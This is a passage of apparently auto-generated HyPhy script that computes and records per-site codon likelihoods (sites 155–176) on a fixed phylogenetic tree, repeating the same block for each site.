branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"155\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 156...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"465,466,467\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 156\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"156\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 157...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"468,469,470\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 157\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"157\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 158...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"471,472,473\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 158\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"158\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 159...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"474,475,476\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 159\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"159\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 160...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"477,478,479\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 160\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"160\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 161...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"480,481,482\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 161\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"161\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 162...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"483,484,485\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 162\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"162\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 163...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"486,487,488\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 163\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"163\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 164...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"489,490,491\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 164\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"164\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 165...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"492,493,494\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 165\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"165\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 166...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"495,496,497\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 166\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"166\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 167...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"498,499,500\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 167\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"167\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 168...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"501,502,503\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 168\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"168\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 169...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"504,505,506\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 169\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"169\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 170...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"507,508,509\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 170\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"170\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 171...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"510,511,512\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 171\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"171\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 172...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"513,514,515\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 172\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"172\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 173...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"516,517,518\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 173\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"173\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 174...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"519,520,521\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 174\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"174\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 175...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"522,523,524\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 175\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"175\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 176...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"525,526,527\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 176\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable 